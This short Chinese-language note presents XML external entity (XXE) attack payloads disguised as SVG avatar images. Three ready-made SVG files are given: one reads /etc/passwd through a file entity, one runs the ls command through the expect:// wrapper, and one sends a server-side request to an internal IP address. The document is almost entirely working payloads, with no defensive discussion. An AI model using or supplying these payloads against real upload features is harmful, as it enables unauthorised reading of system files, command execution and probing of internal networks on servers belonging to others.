图片svg头像造成xxe

读取etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="200">
<text x="10" y="20">&xxe;</text>
</svg>

  • 执行ls命令：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "expect://ls">]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="200">
<image xlink:href="&xxe;"></image>
</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://192.168.1.1">]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="200">
<text x="10" y="20">&xxe;</text>
</svg>